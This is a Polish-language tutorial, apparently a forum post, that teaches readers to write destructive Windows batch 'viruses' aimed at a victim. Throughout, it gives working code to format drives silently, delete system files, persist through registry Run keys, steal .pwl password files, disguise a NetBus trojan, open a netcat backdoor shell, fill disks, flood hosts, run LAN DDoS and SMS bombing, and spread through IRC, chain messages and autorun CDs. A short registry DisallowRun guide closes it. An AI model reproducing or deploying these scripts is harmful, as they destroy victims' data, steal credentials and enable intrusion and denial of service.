___________________________________________________________

WIRUSY 1



Ten art napisał mój kolega ale pozwolił mi go opublikować . Najpierw aby moc napisac wirusa musimy poznac podstawowe polecenia dos`a.

del - usuwa plik
copy - wiadomo
cls - czysci ekran
dir - wyswietla liste plikow i katalogow
echo - "wyswietla komunikaty lub wlacza i wylacza echo polecen"
exit - konczy dzialanie programu
find - wyszukuje ciag tekstowy w pliku lub plikach (przydatne :P )
findstr - wyszukuje ciagi znakow w plikach
format - formatuje dysk (pokaze potem na przykladzie wirusa ktory po
uruchomieniu formatuje dysk bez potwierdzenia :)))) )
goto - wykonuje skok do danej etykiety (oki potem wyjasnie :P )
md - tworzy katalog
pause - noo zatrzymuje dzialanie programu i czeka az uzytkownik nacisnie
jakis klawisz :) (wyswietla komunikat - Aby kontynuowac nacisnij dowolny
klawisz ..)
pause >> nul - to co powyzej ale bez komunikatu (stdout jest przekierowane
w nicosc ;) )
rd - usuwa katalog
ren - zmienia nazwe pliku
start - uruchamia program lub polecenie w osobnym oknie
time - wyswietla lub ustawia ( :P ) czas systemowy
xcopy - kopiuje pliki i katalogi


dobra a wiec zeby stworzyc takiego wirusa tworzymy dowolny plik o
rozszerzeniu bat np. vir.bat i klikajac prawym wybieramy
edytuj - tam wpisujemy kod.


teraz jeszcze jedna wazna rzecz:
>> - sluzy do przekierowania standardowego wyjscia (stdout)
> - podobne do powyzszego, jednakze gdy zechcemy przekierowac
np. wynik jakiegos polecenia do pliku, to poprzednia zawartosc
tego pliku zostanie skasowana.


Kod:
@echo off // wylacza echo polecen
echo ale ty jestes debil >> c:autoexec.bat // kopiuje linijke tekstu do pliku
autoexec.bat - czyli mozna tez dopisywac kod do pliku np. jezeli napiszemy:
@echo off
echo del c:%windir%win.ini >> autoexec.bat - to po ponownym uruchomieniu
komputera ofiarze skasuje sie plik win.ini co uniemozliwi ofiarze odpalenie
systemu chyba ze skorzysta z pliku win.ini.backup w windowsie XP, lub
z polecenia scanreg /restore w windowsie 98
%windir% jest to nazwa zmiennej wskazujacej na katalog systemowy, przydatne
gdyz nie zawsze jest to c:windows

cls // czysci ekran tak zeby ofiara nie wiedziala ze cos sie wogole usuwa
:)





teraz mala zabawa z "|" (shift + przycisk obok backspace - dla ułomnych )
pozwala to np. wykonywac dwa polecenia na raz. przeanalizujmy przyklady
ponizej.

format c:

powyzszy plik po uruchomieniu bedzie wymagal od uzytkownika potwierdzenia
- np. w polskojezycznej wersji systemu nacisniecia klawisza "T"
wiec piszemy:

Kod:

@echo off
echo T | format c:
cls


po uruchomieniu tego programu dysk twardy zacznie sie formatowac bez
potwierdzenia!!! (uwaga: nie da sie sformatowac dysku c: kiedy mamy
uruchomionego windowsa - wiec aby to zrobic musimy doczepic ten kawalek
kodu do pliku autoexec.bat - najlepiej tam )

no dobrze ale jezeli zacznie sie nam formatowac dysk to bedzie to trwalo
dlugo - wiec aby to przyspieszyc nalezy wpisac:

Kod:

@echo off
echo T | format c: /q
cls


przelacznik /q oznacza ze dysk bedzie sie formatowal w trybie
szybkieformatowanie (zamazywanie) i bedzie to trwalo krotko
(chyba ze ktos ma duzy dysk)

dobra ale teraz rozwazmy nastepujacy przyklad - stworzylismy plik

Kod:

@echo off
echo T | format c: /q
cls

i chcemy go zamiescic w pliku c:\autoexec.bat . Niby wszystko wydaje sie
proste - ale tak nie jest gdyz nie mozna zrobic :

Kod:

echo @echo off >> c:autoexec.bat // tu jest wszystko w porzadku
echo echo T | format c: /q >> c:autoexec.bat // a tu nie
bo "|" oddziela polecenia, tak ze do pliku autoexec.bat zostanie
przekopiowany tylko wynik komendy format c: /q (w tym przypadku
bedzie to prosba o nacisniecie klawisza T w celu potwierdzenia)
echo cls >> c:autoexec.bat

wiec zeby to zrobic mozna uzyc czterech sposobow
sposob 1 - przyklad:

nazwa tego pliku - dowolny.bat

Kod:
@echo off
echo T | format c: /q
cls
copy dowolny.bat c:autoexec.bat

powyzszy plik podmienia zawartosc pliku autoexec.bat na ta. Uwaga!
zawartosc
pliku autoexec.bat zostanie skasowana (no ale w koncu jezeli zalezy nam
na zniszczeniu komputera ofiary to nie ma sie czym przejmowac - i tak
dysk zostanie sformatowany ).

drugi sposob:


Kod:
@echo off
echo T | format c: /q
cls
copy dowolny.bat c:sciezkadowolny.bat
echo start c:sciezkadowolny.bat >> autoexec.bat

trzeci sposob:

Kod:

@echo off
cls
type dowolny.bat >> c:autoexec.bat
[/code]
czwarty sposob:
[code]
copy c:autoexec.bat + c:sciezkadowolny.bat c:autoexec.bat


no dobra... :) przydalby sie teraz spis plikow systemowych ktore wirus
moze usuwac aby narobic niezlych szkod w systemie :) :
win.ini , win.com - jak usuniesz te pliki to ofiara juz nie uruchomi
komputera
chyba ze skorzysta z backupow (winXP) w folderze c:\windows\pss\ - wiec
najlepiej tez zeby wirus usuwal wszytkie pliki z niego
c:\windows\system32 - (winXP) tam masz pliki takie jak format.com ,
xcopy.exe itp. - wiec jak je usuniesz to ktos nie bedzie mogl kopiowac
plikow w dosie, ani sformatowac dysku itp. :)
c:\windows\command - to co wyzej tylko ze w windowsach 9x
c:\windows\system32\DirectX (winXP) - wiadomo

no i... - zreszta po co mam wszystko wypisywac :) tworca sam moze
sobie poszukac i zadecydowac jakie pliki maja zostac usuniete skasowane itp.

kolejna wazna rzecza jaka sie przydaje podczas pisania wirusow to
modyfikowanie rejestru itp. :)
np.aby wirus uruchamial sie przy kazdym starcie systemu mozna zrobic
wpis w rejestrze - pod spodem podaje przyklad.

Kod:

@echo off
cls
echo REGEDIT4 >> plikrejestru.reg // ten wpis musi byc zawsze w pliku
rejestru
cls
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
>>
plikrejestru.reg
echo
"dowolna"="C:\\lokalizacja\\pliku\\bat\\ktory\\wczesniej\\skopiowalismy >>
plikrejestru.reg
start c:\plik\rejestru\.reg\

przy kazdym uruchomieniu komputera bedzie uruchamiany plik ktorego
podalismy
lokalizacje w "dowolna"=

teraz skoro juz znasz podstawowe polecenia to teraz podam tylko przyklady
wykorzystania :
1.do zdobycia hasel :
hasla w windowsach 9x zapisane sa w plikach .pwl - wiec tworzymy plik
.bat ktory bedze kopiowal pliki *.pwl

Kod:

@echo off // tak z przyzwyczajenia :)
echo T | copy c:windows*.pwl a: // zalezy gdzie znajduja sie pliki
*.pwl :)

wtedy bierzemy taki programik na dyskietce, podchodzimy do kompa ofiary i
tylko wchodzimy na dyskietke, klikamy dwa razy i juz mam pliki z haslami
na dyskietce :) - teraz tylko idziemy do domu i uzywajac jakiego programu
do deszyfrowania zakodowanych tam hasel (np.pwlhack) wyciagamy badz
lamiemy haselko i.. potem juz robisz se co chcesz
2.do usuniecia hasel - po prostu usuwamy pliki *.pwl (pamietajmy aby uzyc
echo T | del lokalizacja\*.pwl)
3. zapomnialem jeszcze podac jednego triku z przeszmuglowaniem np.
jakiegos trojana tak aby program antywirusowy sie nie skapowal
(*juz raczej nie dziala) Wezmy za przyklad plik patch.exe z trojana
(mozna go tak nazwac) o nazwie netbus (chyba kazdy poczatkujacy hacker
mial z nim do czynienia ;) )

zmieniamy nazwe tego pliku na np. readme.txt albo data.lib i wrzucamy
do folderu. nastepnie tworzymy plik bat i wpisujemy w nim cos takiego:

Kod:

@echo off
cls
ren readme.txt/data.lib patch.exe
start patch.exe
cls
ren patch.exe data.lib/readme.txt
cls
exit

i wrzucamy go do folderu. potem np. pakujemy rarem i wysylamy komus itp.

Jezeli juz mowa o win rarze to powiem, ze mozna stworzyc samorozpakowujace
sie archiwum SFX. Po prostu dodajemy naszego batcha do archiwum, zaznaczajac
w opcjach ze chcemy utworzyc archiwum SFX, nastepnie w zakladce
"zaawansowane -> opcje SFX -> ogólne" wpisujemy folder docelowy, oraz jakie
pliki chcemy uruchomic po rozpakowaniu, w naszym przypadku bedzie to nasz
bat. Potem w opcjach SFX przechodzimy do zakladki "Tryby" w polu "Tryb cichy"
zaznaczamy "ukryj wszystko", a w polu "Tryb Nadpisywnania" wybieramy
"Nadpisz wszystkie pliki"


4.mozna jeszcze wykorzystywac jak to nazywaja - "nieudokumentowane
funkcje windows" :) (win9x :( )
rundll32 user,disableoemlayer - zawiesza kompa
rundll32 mouse,disable - nie dziala mysza :)
rundll32 keyboard,disable - nie dziala klawiatura
rundll32 User,ExitWindows - zamkniecie systemu
rundll32 user,setcursorpos - przesuwa kursor w lewy gorny rog ekranu :)))
rundll32 krnl386,fatalexit - blad rundll32 :)
rundll32 krnl386,switchstacko - program wykonal nieprawidlowa operacje
rundll32 krnl386,exitkernel - zamyka windows - brutalnie, szybko :)
rundll32 User,rapaintscreen - odswiezanie ekranu

jest jeszcze wiecej polecen ale te sa chyba najwazniejsze :)


5.jezeli chcesz komus usunac kosz z pulpitu :))))
musisz usunac z
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ex plorer\Desktop\
NameSpace\ klucz {645FF040-5081-101B-9F08-00AA002F954E}
potem tylko jeszcze rundll32 User,rapaintscreen - i na oczach ofiary
zniknie jej kosz.

Uwaga! dodanie linijki do rejestru z poziomu batcha wymaga nacisniecia
przycisku "tak" wiec aby to ominac mozna zrobic skrypcik vbs (visual
basic script )

Kod:

@echo off
echo regcreate [sciezkarejestru] >> plik.vbs
start plik.vbs

6.kolejna sztuczka (z zastosowanie skoku bezwarunkowego "goto" ;) )
przyjrzyjmy sie teraz ponizszemu plikowi :P

Kod:

@echo off >> c:autoexec.bat
:start >> c:autoexec.bat //zaznaczamy etykiete
echo echo. >> c:autoexec.bat // echo. powoduje ze bedzie pusta linijka
goto start >> c:autoexec.bat //i znowu idziemy do poczatku (:start) i znowu
bedzie wykonywne polecenie echo. i potem znowu, i znowu i sie robi taka
petla w nieskonczonosc.



a czemu zaproponowalem zeby zeby to wrzucic do
autoexeca ?
poniewaz gdy ofiara uruchomi komputer to bedzie jej sie robila ta petla w
nieskonczonosc nic nie bedzie widac (echo.) wiec to bedzie wygladalo
jakby sie komputer normalnie uruchamial - ale sie nigdy nie uruchomi


7.Jest jeszcze jedna przydatna rzecz - a mianowicie wyszukiwanie plikow -
jezeli np. chemy znalezc plik o nazwie szukany.txt w danym katalogu to
piszemy:

Kod:

if exist c:danykatalogszukany.txt goto znalazlem
if not exist c:danykatalogszukany.txt goto nieznalazlem
:znalazlem
echo plik zostal znaleziony
goto dalej
:nieznalazlem
echo plik nie zostal znaleziony
exit
:dalej
echo dalszy ciag programu


8. przydaloby sie zeby nasz wirus sie rozprzestrzenial... :) albo sami
powinnismy go rozprzetrzeniac. najprostszym sposobem jest wyslanie
kilkudziesieciu maili strzelajac adresy . zeby sie nie meczyc mozna tez
sobie sciagnac program do masowego wysylania maili - wtedy tylko
wpisujesz adresy i nie musisz sie powtarzac. Mozna tez umiescic wirusa na
stronie i napisac ze to jest wirus. wtedy napewno zjawia sie jakies
osoby ktore beda
chcialy zrobic komus glupi zart w ten sposob go rozprzestrzeniajac.
mozna tez uzywac IRCa. ale to wszystko zajmuje troche czasu . wiec
mozna sprobowac to jakos zautomatyzowac:

mIRC script
to trzeba wrzucic do script.ini

Kod:

n0=on 1:JOIN:#:{
n1=/if ( $nick ==$me ) { halt }
n2=/.dcc send $nick c:sciezkaplik.rozszerzenie
n3=}

Wtedy delikwent ktory ma tak zawirusowany skrypcik po wejsciu na kanal
bedzie
wysylal kazdemu plik (jak wejdzie na #polska to ktos powinien dac sie
wrobic).
w ten sposob oczywiscie sie rozprzestrzeni. Ale jest problemik - w
klientach mirca przewaznie zablokowane jest przyjmowane plikow bat exe
itp. mozna sprobowac spakowac rarem/zipem.

9.Mozna zrobic tak ze kiedy ofiara uruchomi wirusa to ty otrzymasz sms`a
na swoja
komorke - ofiara musi miec GG. Wystarczy
ze do wirusa dopiszesz linijke:

c:\lokalizacja\gadu-gadu\gg.exe /send:"nr telefonu" /msg:"blablabla"

oczywiscie nie polecam tego ludziom ktorzy maja komorki
na abonament - poniewaz gdyby ktos sie pokapowal to ze znalezieniem
takiej osoby nie byloby problemu - chyba ze komus udalo sie zdobyc
jakiegos anonima na falszywe nazwisko itp.

10.Jezeli chcesz aby ktos dostawal szalu to zrob taki plik i wrzuc do
autostartu albo wczep kod do autoexec.bat

Kod:

@echo off
:start
start plik.bat
goto start

11.Teraz zrobmy program-syfiarz :)

Kod:

@echo off
regedit /e ksyf
:start
cls
type ksyf >> c:windowssystem32syf.dll
goto start

opis: regedit /e ksyf tak jakby odczytuje cala zawartosc zawartosc
rejestru i
kopiuje ja do pliku ksyf (w winXP cala tresc rejestru zajmuje 40 mb ),
nastepnie zawartosc ksyf (40 mb) jest kopiowana do pliku syf.dll. I tak
caly czas zawartosc pliku ksyf jest dopisywana do pliku syf.dll (petla) i co
ok.3s ten plik powieksza sie o jakies 40 mb i tak w kolko . Po paru minutach
moze zajac caly dysk (jezeli gosc ma maly dysk ). oczywiscie plik
syf.dlli ksyf to moga byc dowolne nazwy plikow, jak gosc jest ciemny i chesz
zrobic zeby sie nie skapowal to najlepiej nazwac ten plik jakos tak: sysdir.dll
:) zeby myslal ze ten plik jest potrzebny.

12.Bez poczucia czasu ? :

Kod:

@echo off
echo time 00:00 >> c:autoexec.bat
echo cls >> c:autoexec.bat

Teraz przy kazdym uruchomieniu komputera ofiarze bedzie zmienial sie czas
na 00:00. Oczywiscie moze to byc tez przydatne jak np. ktos chce zrobic
sobie licznik ile czasu spedza przed komputerem :) Aha wiec dlatego
najlepiej
nie robic czasu 00:00 bo jak ofiara przypuszczalnie usiadla przed kompem
o 19:00 (wiedzac ze jest 19:00) Zobaczyla ze jest czas 00:00, a potem
spojrzala na zegarek zeby zobaczyc ktora jest godzina i zobaczyla 2:15
to bedzie wiedziala ze jest 21:15 (19:00 + 2:15=21:15 - dla ulomnych)
a jak powiedzmy zmienimy czas na 16:37 to juz trudniej bedzie zapamietac
ofiarze o ktorej usiadla (jezeli specjalnie nie zapamietala) i wtedy sie
zamota. Ale tak wogole to przeciez ma w domu zegarek, a jak jest gdzie
indziej
to moze sama ma zegarek albo ktos inny itp. wiec to chyba tylko po to zeby
kogos wkurzyc

13.Zapychacz wlasnych portow:
Oczywiscie jest to takie tandetne ale moze sie przydac
tworzymy kilka plikow (najlepiej z 6) bat oczywiscie i do kazdego
wpisujemy

Kod:

@echo off
:start
telnet localhost:80
goto start

i jeszcze musimy zrobic plik start (niech te pliki nazywaja sie
killer1.bat
killer2.bat itd.)

Kod:

@echo off
start killer1.bat
start killer2.bat
itd.

Ale po co robic tyle plikow ? zrobmy jeden plik ktory reszte zrobi za nas:

Kod:

@echo off
echo @echo off >> killer.bat
echo :start >> killer.bat
echo telnet localhost 80 >> killer.bat
echo goto start >> killer.bat
cls
copy killer.bat killer2.bat
copy killer2.bat killer3.bat
copy killer3.bat killer4.bat
copy killer4.bat killer5.bat
copy killer5.bat killer6.bat
cls
start killer.bat
start killer2.bat
start killer3.bat
start killer4.bat
start killer5.bat
start killer6.bat
cls



Mozna wyczaic kiedy ofiara bedzie sciagala jakis duzy plik ( to
znaczy pogadac z nia
i sie spytac czy nie ma albo czy nie bedzie sciagala jakis fajnych filmow
czy cos..)
I jak np. bedzie chciala sciagac w nocy to wrzucasz plik do hormonogramu
i wtedy napewno nie sciagnie

Zamiast localhost mozna tez wpisac dowolny adres IP oraz dowolny port.

Jeszcze jedno - jezeli jestes polaczony siecia lokalna i chcesz komus
zablokowac internet
albo siec to mozna zrobic kilka takich plikow:

Kod:

@echo off
:start
ping -l 65500 -n 100 IP
goto start

I wtedy zajmie mu cale pasmo transmisyjne ) i nie
bedzie mu zialac siec ani net/

Mozesz jeszcze uniemozliwic ofiarze ircowanie (jezeli uzywa mirca).
Robisz skrypt
ktory po kazdym wejsciu na kanal robi ciagle ping na sobie, albo po
prostu wysyla
duza ilosc textu (flooduje) i wtedy server od razu wywala. Jak "dobrze"
pojdzie to gosc moze miec K-LINE (zakaz laczenia sie z serverem(ami) irca)

Jezeli jestes wyjatkowo paskudny :)), a twoja ofiara laczy sie przez
server dostawcy
albo cos takiego to mozesz zrobic zeby pingowalo/telnetowalo ten server i
wtedy
dostawca moze zerwac umowe za "naruszenie bezpieczenstwa serwera" albo
"probe uniemozliwienia dostepu do informacji innym uzytkownikom".
A jezeli admin jest msciwy to moze nawet zadzwonic na policje. Wtedy
powstanie niezle zamieszanie :)

Za pomoca batchy mozesz zrobic tez bombe do ataku DDoS. Czyli przejsc sie
po kumplach z LANu zrobic u kazdego bomber ktory ma pingowac/telnetowac
jakis serweri ustawic w hormonogramie odpowiednia godzine. Jezel masz w LANie
sporo komputerow to serwer padnie :)) Jezeli mozesz sobie sam ustwiac IP
internetowe to jeszcze mozesz zdjac z serwera firewall (to znaczy jezeli ma jakis
syfowy )

14.Teraz mozemy zrobic takie swinstwo, i sprawdzic czy kolega jest uczciwy
robimy tak:

1.Tworzymy taki plik do formatowania twardego dysku bez potwierdzenia
2.Tworzymy plik AUTORUN.INF :
[AutoRun]
open=plikformatujacy.bat
3.I te dwa pliki nagrywamy na CD

Teraz bierzemy taka plytke, i podpisujemy ja:
"Scisle tajne, nie wolno tego CD uzywac. Trzymaj lapy z daleka"

Idziemy do kumpla. Gdy bedziemy wychodzili to "przez przypadek" zostawiamy
u niego ten CD. Jezeli bedzie nieuczciwy i wscibski to po wlozeniu tej
plyty sformatuje mu sie dysk.

15.Kolejny sposob sprawdzenia uczciwosci kolegi:
Nagrywamy na plytke jakas gre czy film (oczywiscie nie wolno robic
pirackich kopii i trzeba miec pozwolenie).
Tylko ze w jakims folderze wczepiamy plik readme.txt o wpisujemy :
"to jest CD ****" <-- nick lub imie Wychodzimy na osiedle i
"przez przypadek" zostawiamy CD kiedy bedziemy szli do domu.
I sobie patrzymy czy ktos tego nie wezmie. Jak ktos wezmie to wychodzimy
i probujemy
zrobic taka sytuacje: "O widze ze masz jakas plytke, co na niej jest".
I teraz zalezy od goscia. Jezeli powie ze znalazl i ze chcial sie zapytac
czyja jest
to OK, ale jezeli powie ze to jego ze niedawno sobie nagral... To juz
dalej robisz co chcesz (Ja Cie do przemocy nie namawiam )- najpierw
oczywiscie pokazujesz mu ten plik readme.txt

16.SmS bomber za pomoca batcha i gadu gadu:

Kod:

@echo off
:start
c:progra~1gadu-gadugg.exe /send:"nr telefonu" /msg:"text"
goto start





17.
Jest jeszcze jeden ciekawy sposob na rozprzestrzenianie wirusa... poprzez
GG. Tak sobie
siedze i sie nudze..az tu nagle... Wyslij te wiadomosc do 10 osob a
pokaze ci sie fajny filmik video...

A wiec:

@echo off
kod wirusa
cls

"Uwaga nowość!
Wyslij te wiadomosc do 10 osob, nastepnie wklej kod powyzszego pliku(od
@echo off do cls) do pliku *.bat (trzeba stworzyc nowy plik z koncowka
bat np. foka.bat nastepnie edytuj itam wkleic zawartosc i zapisac ) to
wtedy..." - i tutaj jakis kit
wypisujesz. Tak samo mozesz tez zrobic przez poczte. :)))))) Jezeli 1 na
50 osob sie wrobi to
i tak bedzie dobrze.

18.Skryptow mozna uzywac do obslugi innych programow. np. znana
sztuczka z netcat'em:

Kod:

@echo off
echo nc -l -L -d -p 1234 -e cmd.exe >> c:autoexec.bat
cls

w ten sposob po polaczeniu sie (telnetem, netcatem itp.) na port 1234
ofiary otrzymamy dostep do linii komend.

19.Nowy trick z wgetem ;).

Chodzi tu o pozbywanie sie stron na ktorych jest limit transferu (np. na republice 8| ).
Po prostu jak nas jakas strona wnerwia to mozemy ja zamknac, zuzywajac transfer.
Mozemy to zrobic tak: Sciagamy sobie program WGET i robimy batcha :

Kod:

@echo off
:start
wget -r --delete-after http://www.xxxxxxx.republika.pl
goto start

-r oznacza ze sciaga cala strone, a --delete-after od razu usuwa sciagniete pliki
(przynajmniej nam nie bedzie zasmiecalo). Taki pliczek wklejamy do katalogu z wget`em
i go uruchamiamy, zwijamy na pasek zadan i ze satysfakcja zajmujemy sie czym innym ;).
Po pewnym czasie nie bedzie sie dalo wejsc na strone, przez najblizsza godzine. Tak
pare razy i do konca miesiaca stronka bedzie zablokowana z powodu przekroczenia limitu
transferu

____________________________________________________________

 WIRUSY 2

1. Tworzenie pliku "bat"
Pliki bat tworzymy w notatniku , otwieramy notatnik wpisujemy pewne polecenia ( o nich później)
i zapisujemy z rozszerzeniem bat np. nazwa.bat .

2. Polecenia
-------------------
@ech off
start [link widoczny dla zalogowanych]
------------------
Powyższy programik otwiera nam stronę onet.pl można po start wpisać co chcemy np
start cos.bat otwiera plik cos.bat
start gg.exe otwiera komunikator gg
start [link widoczny dla zalogowanych] otwiera jakąś stronę www

A teraz coś do wkurzenia
----------------
@echo off
:start
start notepad.exe
start.cmd.exe
goto :start
-----------
Ten programik działa podobnie jak powszedni otwiera notatnik i wiersz polecenia
ale najlepsze w nim jest to :

@echo off
:start to jest tak jakby znacznikiem dla programu do których funkcji ma wrócić
start notepad.exe
start.cmd.exe
goto :start goto :start to jest tu najważniejsze gdy program otworzy notatnik i wiersz poleceń wraca to do
:start i znowu otwiera notatnik i wiersz poleceń i tak bez końca w minutę mamy otwartych ponad 600 procesów Smile
----------------------
shutdown.exe -s -t 600
----------------------
ta komenda zamyka nam system Windows po 10 minutach
-s oznacza wyłączenie komputera
-t mówi po jakim czasie ma być zamknięty komputer czas jest podawany w sekundach
zamiast -s możemy dać
-r restartuje komputer
-l wylogowuje użytkownika

teraz dodajmy to do autostartu żeby przy każdym uruchomieniu komp sie wyłączał
---------------
shutdown.exe -s -t 600

@echo off
copy %0 C:\wirus.bat
@echo REGEDIT4 >>a.reg
@echo. >>a.reg
@echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] >>a.reg
@echo "win.sys"="C:\\wirus.bat" >>a.reg
@echo. >>a.reg
regedit /s a.reg
dir >nul
del a.reg >nul
i zapisujemy to jako wirus.bat tak jak podaliśmy. Dodany wpis do rejestru będzie uruchamiał
wirusa przy każdym włączeniu kompa

można zamknięcie systemu wyłączyć tą komendom :
---------------------
shutdown.exe -a
--------------------------
-------------------------
@echo off
echo T | format c: /q
cls
-------------------------------

to polecenie formatuje nam dysk C: w trybie szybkim i bez potwierdzenia
T | ( system pyta czy na pewno chcemy sformatować dysk C ten kawałek odpowiada za nas twierdząco
cls czyści ekran żeby użytkownik nie wiedział że coś sie Wogule usuwa
| ten znacznik tworzymy kombinacją klawiszy shift + \


Możemy nadać też naszemu wirusowi atrybuty systemowe
np nie Będzie widoczny nawet gdy mamy załączoną opcje
pokaż pliki ukryte
------------------------------------------
ATTRIB +S +H +R wirus.bat
-------------------------------------------
Atrybuty te możemy nadać każdemu plikowi wystarczy podać jego nazwę tak jak my podaliśmy nazwę naszego wirusa „wirus.bat”. Możemy je również zdjąć zamiast + wpiszmy - i zdejmiemy z określonego pliku atrybuty systemowe


Opóźnienie czasowe
możemy sprawić by jakaś komenda lub program uruchomiła się po konkretnym czasie

@echo off
PING -n 60 127.0.0.1 >nul
start cos.cos
po -n wpisujemy liczbę sekund tu jest np 60
po tym wpisujemy co ma sie uruchomić

tearaz jakiś wirusik
--------------------------------
@echo off
PING -n 2 127.0.0.1 >nul
start cmd.exe
start cmd.exe
PING -n 2 127.0.0.1 >nul
start cmd.exe
start cmd.exe
PING -n 2 127.0.0.1 >nul
start cmd.exe
start cmd.exe
PING -n 2 127.0.0.1 >nul
start cmd.exe
start cmd.exe
shutdown.exe -s -t 15

@echo off
copy %0 C:\wirus.bat
@echo REGEDIT4 >>a.reg
@echo. >>a.reg
@echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] >>a.reg
@echo "win.sys"="C:\\wirus.bat" >>a.reg
@echo. >>a.reg
regedit /s a.reg
dir >nul
del a.reg >nul

ATTRIB +S +H +R +A wirus.bat

--------------------------------------


Ten wirus otwiera najpierw co 2 sekundy dwa razy wiersz polecenia
otworzy ich łącznie 8 po tym uruchamia wyłączenie kompa po 15 sekundach
dopisuje się do rejestru i nadaje sobie atrybuty pliku systemowego czyli użytkownik go nie widzi
--------------------
del *exe* /s /q
--------------------
usuwa wszystkie pliki exe w trybie szybkim można zamiast exe postawić kropkę wtedy usunie wszystkie pliki
w folderze w którym sie znajduje lub z dysku albo podać jakąś nazwę pliku np. dokument.txt i usunie tylko ten plik
Pamiętajcie ze del tutaj jest spacja *exe* tutaj jest spacja /s tutaj też jest spacja /q

---------------------------------------------------------------------------------------

@echo off
regedit /e ksyf
:start
cls
type ksyf >> c:windowssystem32syf.dll
goto start
-----------------------------------------------------------------------------------
ten bat zapełnia dysk

Mówią że wirusy bat nie potrafią się rozmnażać w jednym artykule o nich znalazłem coś co powinno was zaciekawić
--------------------------------------------------------------------
@echo off
ctty nul
for %%i in (*.bat) do copy %0+%%i %%i /y >nul
--------------------------------------------------------------------
To jest sposób na doklejanie się do innego pliku bat.

----------------------------
type %0 >>inny.bat

----------------------------
Zamazywanie innego pliku bat swoim kodem

Nie wiem czy te przykłady działają nie sprawdzałem ich na swoim komputerze.

Dałem tu listę ważnych plików systemowych po których usunięciu system się nie uruchomi

C:\COMMAND.COM
C:\IO.SYS
C:\MSDOS.SYS
C:\WINDOWS\WIN.COM
C:\WINDOWS\SYSTEM\VMM32\IOS.VXD
C:\WINDOWS\SYSTEM\VMM32.VXD
C:\WINDOWS\SYSTEM\KERNEL32.DLL
C:\WINDOWS\EXPLORER.EXE
C:\WINDOWS\SYSTEM\WINOA386.MOD
C:\WINDOWS\WIN.INI
C:\WINDOWS\SYSTEM.INI





a teraz na dokładkę kilka komend
uruchamiamy je w formacie
@echo off
start i tu komenda
(nie wszystkie działają w Windows XP)

user,exitwindows - zakończenie pracy Windows
user,wnetconnectdialog - okno dialogowe Mapuj Dysk Sieciowy
user,wnetdisconnectdialog - okno dialogowe Odłącz Dysk Sieciowy
user,disableoemlayer - wyłącza grafikę Windows (wygląda jak zawieszenie)
user,enableoemlayer - włącza grafikę Windows
user,repaintscreen - odświeża ekran [F5]
user,setcursorpos - kursor myszki leci w lewy-górny róg
user,tilechildwindows - ustawia okna w rzędzie
user,cascadechildwindows - odwrotność powyższego
user,swapmousebutton - zamienia klawisze myszki
user,setcareblinktime [n] - szybkość migania kursora
user,setdoubleckilcktime [n] - szybkość dwukliku
user.exe,MessageBeep - małe piknięcie
diskcopy,DiskCopyRunDLL - okno dialogowe Kopiuj Dysk
krnl386.exe,ExitKernel - zamknięcie sesji Kernela (bardzo szybkie zamknięcie systemu)
mouse,disable - blokada myszki
keyboard,disable - blokada klawiatury
shell,shellexecute - otwiera okno explorera
shell32,OpenAS_RunDLL - okno dialogowe Otwórz z ...
shell32,SHFormatDrive - okno dialogowe Formatuj
shell32,ShellAboutA - info o pamięci fizycznej i zasobach
shell32,SHexitWindowsEX 0 - wylogowanie z Windowsa (potwierdzenie)
shell32,SHexitWindowsEX 1 - zamyka Windows (potwierdzenie)
shell32,SHexitWindowsEX 2 - restartuje Windows
shell32,SHexitWindowsEX 3 - restartuje powloke Windows
shell32,Control_RunDLL - otwiera Panel Sterowania
shell32,Control_RunDLL desk.cpl - okno właściwości ekranu
shell32,Control_RunDLL main.cpl @0 - okno wlaściwości myszki
shell32,Control_RunDLL main.cpl @1 - okno wlaściwości klawiatury
shell32,Control_RunDLL main.cpl @3 - okno drukarek
shell32,Control_RunDLL powercfg.cpl - właściwości zarządzania energią
shell32,Control_RunDLL sysdm.cpl - okno właściwości systemu
shell32,Control_RunDLL datetime.cpl - okno ustawień daty i czasu
shell32,Control_RunDLL intl.cplv - okno ustawień regionalnych
shell32,Control_RunDLL joy.cpl - okno kontrolerów gry
shell32,Control_RunDLL sticpl.cpl - wlaściwości skanerów
shell32,Control_RunDLL findfast.cpl - okno Find Fastu


 

_____________________________________________________________

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Jeżeli nie znajdziemy ostatniego folderu (klucza) Explorer, to należy kliknąć prawym przyciskiem na pozycję "Policies", a następnie przejść do "Nowy > Klucz" i utworzyć klucz o nazwie Explorer.

 

Tworzenie wpisu DisallowRun w kluczu Explorer

Gdy już znajdziemy się w kluczu Explorer, to należy kliknąć na niego prawym przyciskiem myszy i tym razem wybrać "Nowy > Wartość DWORD (32-bitowa)". Zauważymy, że po prawej stronie utworzy się nowa wartość, a my możemy jej nadać nazwę. Wpisujemy DisallowRun. Musimy teraz ustawić jej wartość na "1". W tym celu klikamy na utworzony wpis DWORD dwukrotnie.

Edycja wartości klucza DWORD

W nowym  oknie zwracamy uwagę na pole "Dane wartości" i wpisujemy "1". Potwierdzamy ustawienia przyciskiem OK.

Następnie ponownie klikamy prawym przyciskiem myszy na kluczu Explorer, po czym wybieramy "Nowy > Klucz" i nazywamy go tak samo, jak utworzoną przed chwilą wartość DWORD, czyli DisallowRun.

Klucz (folder) DisallowRun będzie zawierać wpisy blokujące poszczególne programy. Każdy wpis będzie blokować inną aplikacje. Aby dodać wpis do folderu DisallowRun, należy go zaznaczyć, a następnie kliknąć na niego prawym przyciskiem myszy i wybrać "Nowy > Wartość ciągu".

Dodawanie wpisów do DisallowRun

Jako nazwę ciągu wpisujemy 1 i wciskamy Enter. Teraz klikamy dwukrotnie w utworzony ciąg, aby otworzyć okno edycji. W nowym oknie zauważymy, że poza edycją nazwy możemy edytować także wartość. W polu wartość należy wpisać nazwę pliku EXE, który chcemy blokować. Przykładowo, jeżeli chcielibyśmy zablokować Notatnik, to wpisujemy notepad.exe.

Powyższą procedurę dodawania ciągu powtarzamy dla każdej aplikacji, którą chcemy zablokować, zwiększając jedynie nazwę ciągu o jeden numer wyżej (np. 2 - paint.exe, 3 - skype.exe).


____________________________________
UKŁAD
https://www.templatemonster.com/pl/demo/62150.html
https://www.templatemonster.com/pl/demo/64021.html
